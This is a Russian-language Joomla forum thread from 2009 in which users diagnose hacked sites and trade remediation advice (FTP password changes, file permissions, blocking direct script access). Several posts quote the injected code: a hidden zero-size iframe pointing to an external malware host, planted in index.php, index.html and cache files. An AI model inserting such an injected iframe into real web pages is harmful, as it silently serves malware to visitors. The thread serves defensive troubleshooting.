Сайт взломали. Удалось восстановить, но вопрос безопасности остался актуальным

Discussion in 'Вопросы безопасности' started by liga, Jan 22, 2009.

Page 1 of 4
  1. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Сегодня был взломан сайт, а именно произошло следующее:
    1)в корневом каталоге был изменен файл index.php
    его содержимое:
    Код (PHP):
    1. <!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->

    2)в каталоге .../administrator/ также был изменен файл index.php, его содержимое равно 0, тоесть его очистили.
    3)был создан мамбот в админ панели atipsjp. Тип - контент.
    его описание
    Код (PHP):
    1. Syntax to use it {atipsjp articleID|numberWords}some text{/atipsjp}
    2.  
    3. The tag "atipsjp" represent Ajax tooltips JoomlaProdigy.
    4. "some text" is text in your content which will become a link to the content item and on "mouse over" on this text a tool tip will appear and the content in it will be fetched with ajax.
    5. For support come over to joomlaprodigy and seek help through forum.
    6.  
    7. Version 0.1, 26th November 2006.

    Проблему получилось устранить, заменив все файлы из резервной копии и удалением этого мамбота. Но возможно в файлах сайта остались скрипты или еще что-то наподобие. компоненты на сайте стоят стандартные, кроме phpbb форума. Как такое стало возможным, что пользователь получил доступ к информации, необходимой для взлома? И что необходимо сделать, чтобы такого больше не повторялось?
     
    liga, Jan 22, 2009
    #1

  2. Ads Master

     
  3. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Опять взломали. на сей раз решил более подробно покапаться в файлах фтп, обнаружил что папка cashe имеет все права и на запись и чтение и выполнение. Обнаружил нарушения в файле index.html в кеше.
    Его содержимое:
    Код (PHP):
    1. <!-- virtual.45ru.net.au --><div style="visibi);
    2.  
    3. if(file_exists("kernel/wbs.xml")){
    4.     $xml= simplexml_load_file("kernel/wbs.xml");
    5.     $type=(string)$xml->FRONTEND['type'];
    6.     $type=isset($type)?$type:'$type';
    7.     $__WBS_INSTALL_PATH = (string)@$xml->DIRECTORIES->WEB_DIRECTORY['PATH'];
    8. }else{
    9.     $type='$type';
    10.     $__WBS_INSTALL_PATH = '';
    11. }
    12. switch ($type){
    13.     case 'SC':
    14.         $_GET['frontend']=1;
    15.                 //for IIS
    16.    
    17.     if(!strlen($__WBS_INSTALL_PATH)){
    18.     if(!isset($_SERVER['DOCUMENT_ROOT'])){ if(isset($_SERVER['SCRIPT_FILENAME'])){
    19.     $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF'])));
    20.     }; };
    21.     if(!isset($_SERVER['DOCUMENT_ROOT'])){ if(isset($_SERVER['PATH_TRANSLATED'])){
    22.     $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0-strlen($_SERVER['PHP_SELF'])));
    23.     }; };
    24.     //end for IIS
    25.         define('WBS_INSTALL_PATH',str_replace(array('\\','///','//'),'/','/'.substr(dirname($_SERVER['SCRIPT_FILENAME']).'/',strlen($_SERVER['DOCUMENT_ROOT']))));
    26.     }else{
    27.         define('WBS_INSTALL_PATH',$__WBS_INSTALL_PATH);
    28.     }
    29.        
    30.         if(!isset($_GET['__furl_path']))$_GET['__furl_path']='index.php';
    31.         include dirname(__FILE__)."/published/SC/html/scripts/index.php";
    32.         break;
    33.     case 'login':
    34.         header('Location: login/');
    35.         break;
    36.     case 'none':
    37.         print '<html><head><title></title></head><body><!-- WebAsyst blank page --></body></html>';
    38.         break;
    39.     default:
    40.         print '<html><head><title></title></head><body><!-- Error read wbs.xml file --></body></html>';
    41. }
    42. ?><!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->
     
    liga, Jan 22, 2009
    #2
  4. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    А логи на хостинге сохранились или тоже почистили (особенно обращение к админке)? Видел подобное, даже со ссылкой на сайт турецкой хак тимы. И уточни у хостера, были еще взломы на этом сервере, возможно межсайтовый скриптинг
     
    Asylum, Jan 22, 2009
    #3
  5. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Asylum, Логи по не известной мне причине не открываются, с правами на папку все норм, но вот открыть ее невозможно. Покапался дальше по сайту, обнаружил что во всех папках, где создан index.html(ну типа как вам известно, для проверки после установки чего либо, создан ли каталог) теперь вместо пустого белового фона эта фигня стоит
    Код (PHP):
    1. <!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?8" width="0" height="0" style="display:none"></iframe><!-- ~ -->
     
    liga, Jan 22, 2009
    #4
  6. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Last edited: Jan 22, 2009
    Asylum, Jan 22, 2009
    #5
  7. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Asylum, Причем у обеих ссылок очень большой цит, да и в войсе инфы о владельце нету, только какой-то NizovGrisha, самих сайтов не существует, есть только пустой файл.

    Надо будет послать на почту этого гриши grishanizov@gmail.com что он БольшойПротивныйКазел! :)
     
    liga, Jan 22, 2009
    #6
  8. mike84
    Offline

    mike84 Недавно здесь

    Joined:
    Nov 25, 2007
    Messages:
    210
    Likes Received:
    15
    Gender:
    Male
    все тоже самое, ищу причину. давайте разбираться.
    уже достало это происходит 3й раз.

    у меня возникла такая мысль - нужны ли джумле все эти index.html пустые файлы? у меня червяк любит в них прописываться, а что если их всех удалить?
     
    mike84, Jan 22, 2009
    #7
  9. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    mike84, Вроде бы уже писал, но могу еще раз:
    К примеру мы хотим установить модуль или компонент, естественно компонент создаст папку com_"имя" и еще всякие там images languages , так вот зачастую в каждой такой папке создается index.html, в нем ничего нету кроме
    Код (PHP):
    1. <html>
    2. <body bgcolor="#FFFFFF">
    3. </body>
    4. </html>

    это все делается для проверки, создался или нет каталог файлов, т.е. получается что нет, не нужен, но есть индекс.хтмл, в котором идет переадресация, вот насчет него не могу сказать, переадресация идет вроде бы на предыдующий индекс.хтмл, который содержит приведенный свыше код.
     
    liga, Jan 22, 2009
    #8
  10. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    mike84, А вы проверяли права на папки и файлы, смотрели где сидит исходный код?
     
    liga, Jan 22, 2009
    #9
  11. mike84
    Offline

    mike84 Недавно здесь

    Joined:
    Nov 25, 2007
    Messages:
    210
    Likes Received:
    15
    Gender:
    Male
    хммм..интересный способ проверять создалась ли папка...надо на офсайте поискать про это...
    что внутри этих файлов я и сам видел.. я к тому что надо попробовать пожить без них?

    у меня те же "симптомы" - обнуление index.php в админке и редактирование configuration и index.php

    права не проверял, а какие посоветуете поставить?
     
    mike84, Jan 23, 2009
    #10
  12. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Как все таки поломали? Есть подозрение что вирь залит с вашего компа, тотал командером пользуетесь? Сайт существует, но для просмотра доступна только директория http://orentraff.cn/icons/ Раздаваемый вирус - pinch, но вот как он туда попал?
     
    Asylum, Jan 23, 2009
    #11
  13. infoman
    Offline

    infoman Пользователь

    Joined:
    Aug 28, 2007
    Messages:
    581
    Likes Received:
    12
    Gender:
    Male
    index.html это чтобьы никто не видел чтоз а файлы лежат в папке(защита от дураков ls -la) :)
    проще htaccess настроить на страницу 404
     
    infoman, Jan 23, 2009
    #12
  14. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Liga здесь имеем дело с ботнетом, нужно
    Найти у себя лошадку, которая ворует логин и пасс к фтп
    Поменять пасс к самому фтп
    Не хранить пароли в тотал командерах и прочих
    В данном случае цель была не взлом сайта, а заливка через него троя, джумла от этого просто упала. Бот (робот) автоматом обходит все сайты, на которые нашел доступ и дописывает во все найденые индексы невидимый фрейм, с которого и заивается вирь
     
    Asylum, Jan 23, 2009
    #13
  15. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    mike84, на всех папках должны стоять права drwxr-xr-x ну или же просто 755. У меня на сайте были изменены права на папки кеш, картинки\банеры картинки\сториес на 777.

    А какая информация была изменена у вас в файле конфигурации?
     
    liga, Jan 23, 2009
    #14
  16. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Asylum, Я использую FileZilla, а вот владелец сайта использует Тотал коммандер. Сегодня целый день проверяю комп на всякий пожарный, может что-нибудь даст проверка, но ничего подозрительного нету. В поддержке написали что на серверах глобального взлома сайтов не было, тоже ставят акцент на то, что поступил вирус с компьютера, через который заходили на фтп, покапался еще в файлах фтп, обнаружил что изменились права на файлы images\banners and images\stories на 777, изменил, думаю восстановить копии из резевра, поменять пароли на фтп, может поможет, главное чтобы не было ничего в базе данных.


    infoman, Хм, а разве не специальным кодом закрывают доступ к файлам на сайте (чето там Волид ор дай)? Индекс.хтмл не спасет если например знаю что есть файл components/com_papko/papko_ya.php :)
     
    liga, Jan 23, 2009
    #15
  17. Fanamura
    Offline

    Fanamura Доброта

    Joined:
    Mar 12, 2007
    Messages:
    5,094
    Likes Received:
    158
    Gender:
    Male
    liga, а разве в расширениях нормальных не стоит ограничение, чтобы скрипты не обрабатывались не из-под CMS - рестракт акцес...
     
    Fanamura, Jan 23, 2009
    #16
  18. liga
    Offline

    liga Пользователь

    Joined:
    Oct 21, 2008
    Messages:
    495
    Likes Received:
    18
    Gender:
    Male
    Fanamura, А вот насчет этого хрен его знает.

    Скачал файлы с сайта, проверил на наличие вирусов, проверил индексы, добил последний в котором был этот фрейм, все вроде бы нормально, надеюсь так и будет дальше :)
     
    liga, Jan 23, 2009
    #17
  19. Asylum
    Offline

    Asylum Местный => Cпециалист <=

    Joined:
    Feb 9, 2007
    Messages:
    2,744
    Likes Received:
    160
    Gender:
    Male
    Командер, FileZilla, IE, не важно, нормальный вирь может собрать пассы со всех известных клиентов. Да и дело, в общем, не в этом… Логика такова: - забей запрос своего фрейма в Гугле, вывалится вагон ссылок, это все сайты с такой же заразой. Во всех взломанных сайтах, есть сайты на всех CMS (а также сайты на статике), на разных хостингах. Явно тут не юзают дыру в системе или хостинге. Также с трудом верится что несколько тысяч сайтов ломали вручную, подбирая поля и прочее. Тут явная работа бота по принципу, упадет 20% сайтов, остальные донесут лошадку. Если вирус не нашли, это не значит, что его нет, AVP находит только известные ему вирусы. Грубо говоря, антивирусные базы, это как доска «Их разыскивает милиция». Если преступник будет стоять рядом, а его портрета на доске нет, то ловить его никто не будет, ибо не за что. Другое объяснение противоречит логике, это только мое мнение. Другого внятного объяснения я не нашел
    Поменяй пасс на фтп
     
    Asylum, Jan 23, 2009
    #18
  20. OlegM
    Offline

    OlegM Russian Joomla! Team Staff Member

    Joined:
    Apr 12, 2007
    Messages:
    4,310
    Likes Received:
    375
    Gender:
    Male
    А папку кэша предлагаю выносить из htdocs на уровень выше, чтобы был недоступен из сети.
    Также могу сказать, что очень много зависит от хостинга: какие стоят umask и прочие права, как работает PHP (модуль и CGI).

    Ну и не используйте IE - именно он разносит заразу через iframe (из личного опыта).
     
    OlegM, Jan 23, 2009
    #19
  21. agruts
    Offline

    agruts Группа поддержки

    Joined:
    Mar 1, 2006
    Messages:
    609
    Likes Received:
    21
    Gender:
    Male
    liga,
    Код (PHP):
    1. defined( '_VALID_MOS' ) or die( 'Restricted access' );
    есть не что иное, как запрет на прямой вызов файла php из адресной строки браузера.
    Имхо, имеет смысл официально обратиться к хостеру за объяснениями, с предоставлением всех логов доступа за определенный период. Если хостер нормальный, то доллжны быть ежедневные бэкапы всего сайта и БД, с которых они должны сами восстановить. Это если червяк попал в домен не по твоей вине.

    по поводу файлзилл, тоталкомандеров мое мнение - в топку. FAR, а еще лучше - WinSCP, в нем безопасность соблюдается намного выше.
     
    agruts, Jan 23, 2009
    #20
Page 1 of 4
< Исчезли меню сайта | Вражеская ссылка в материалах(в шаблоне) саита ! >

Share This Page

Loading...